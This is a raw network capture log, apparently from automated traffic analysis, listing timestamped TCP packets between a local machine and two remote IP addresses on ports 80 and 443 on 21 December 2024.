Dec 21, 2024 10:15:34.617259979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.617275000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.617338896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.617944002 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.618001938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.618071079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.618284941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.618788004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.618837118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.619304895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.619366884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.619762897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.619885921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.620104074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.620181084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.620574951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.620615959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.620654106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.620680094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.621227980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.621321917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.621346951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.621414900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.622057915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.622185946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.622214079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.622282982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.622863054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.622940063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.623049021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.623168945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.623656988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.623750925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.623872042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.623946905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.624665022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.624676943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.624809980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.625458956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.625469923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.625545979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.626176119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.626312017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.626347065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.626454115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.627051115 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.627142906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.627262115 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.627790928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.627907991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.627929926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.627985001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.628628969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.628701925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.628829956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.629512072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.629702091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.629722118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.629770041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.630359888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.630470991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.630604029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.631148100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.631175995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.631257057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.632004023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.632103920 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.632122993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.632287025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.632731915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.632822037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.632844925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.632884026 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.633690119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.633701086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.633796930 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.634599924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.634612083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.634655952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.635289907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.635301113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.635346889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.636061907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.636132956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.636218071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.636333942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.636924982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.636981010 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.636986971 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.637063026 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.637768984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.637779951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.637854099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.637855053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.638550043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.638602018 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.787286997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.787447929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.787518978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.787763119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.787839890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.787945032 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.788055897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.788471937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.788568020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.788633108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.788670063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.789407969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.789465904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.789510965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.789510965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.790328979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.790339947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.790397882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.790977955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.791035891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.791062117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.791141987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.791780949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.791834116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.791924000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.791990042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.792589903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.792757034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.792784929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.792819023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.793581009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.793592930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.793665886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.793667078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.794353008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.794364929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.794421911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.794512033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.795061111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.795161963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.795187950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.795237064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.796006918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.796017885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.796097994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.796708107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.796751976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.796782970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.796977997 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.797684908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.797698021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.797729015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.798460007 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.798471928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.798547029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.798619032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.799334049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.799346924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.799402952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.799443960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.800055981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.800101995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.800142050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.800507069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.800915003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.800956011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.800997972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.801055908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.801701069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.801758051 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.801832914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.802634001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.802716970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.802725077 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.802763939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.803646088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.803726912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.803770065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.803770065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.804244041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.804255009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.804371119 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.804961920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.805335999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.805351973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.805392981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.805828094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.805839062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.805977106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.806642056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.806935072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.806966066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.807055950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.807461023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.807519913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.807677984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.807732105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.808352947 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.808363914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.808434010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.808434010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.809243917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.809329033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.809392929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.809432983 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.809994936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.810236931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.810275078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.810431957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.810786009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.810854912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.810884953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.811053991 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.811548948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.811656952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.811762094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.812422037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.812478065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.812479973 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.812520981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.813246012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.813293934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.813337088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.813338041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.814007998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.814142942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.814229012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.814299107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.814845085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.814949989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.815021992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.815223932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.815668106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.815732002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.815993071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.816083908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.816523075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.816639900 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.816668034 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.816709042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.817420959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.817431927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.817475080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.818119049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.818263054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.818310022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.818377018 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.818955898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.819099903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.819128036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.819226980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.819850922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.819860935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.819911957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.820661068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.820811033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.820837021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.821021080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.821464062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.821474075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.821542978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.822259903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.822349072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.822432995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.823040009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.823084116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.823193073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.823282003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.823896885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.823967934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.823993921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.824359894 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.824733973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.824789047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.824809074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.824872017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.825521946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.825571060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.825659990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.825874090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.826440096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.826497078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.826519012 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.826539040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.827231884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.827361107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.827410936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.828066111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.828085899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.828123093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.828181982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.828946114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.828957081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.828998089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.829693079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.829803944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.829833984 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.829895020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.830518961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.830575943 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.909367085 CET	443	49823	149.154.167.99	192.168.2.4
Dec 21, 2024 10:15:34.909414053 CET	443	49823	149.154.167.99	192.168.2.4
Dec 21, 2024 10:15:34.909431934 CET	49823	443	192.168.2.4	149.154.167.99
Dec 21, 2024 10:15:34.909465075 CET	443	49823	149.154.167.99	192.168.2.4
Dec 21, 2024 10:15:34.909482002 CET	49823	443	192.168.2.4	149.154.167.99
Dec 21, 2024 10:15:34.909503937 CET	443	49823	149.154.167.99	192.168.2.4
Dec 21, 2024 10:15:34.909539938 CET	49823	443	192.168.2.4	149.154.167.99
Dec 21, 2024 10:15:34.909598112 CET	49823	443	192.168.2.4	149.154.167.99
Dec 21, 2024 10:15:34.911531925 CET	49823	443	192.168.2.4	149.154.167.99
Dec 21, 2024 10:15:34.911556959 CET	443	49823	149.154.167.99	192.168.2.4
Dec 21, 2024 10:15:34.979356050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.979464054 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.979491949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.979638100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.979662895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.979721069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.979743958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.979944944 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.980504990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.980660915 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.980783939 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.980853081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.981385946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.981477022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.981554985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.981640100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.981699944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.981771946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.982484102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.982495070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.982589006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.983222008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.983263016 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.983361006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.983412981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.984015942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.984066963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.984114885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.984230042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.984865904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.985102892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.985148907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:34.985697031 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:34.985757113 CET	49808	80	192.168.2.4	31.41.244.11
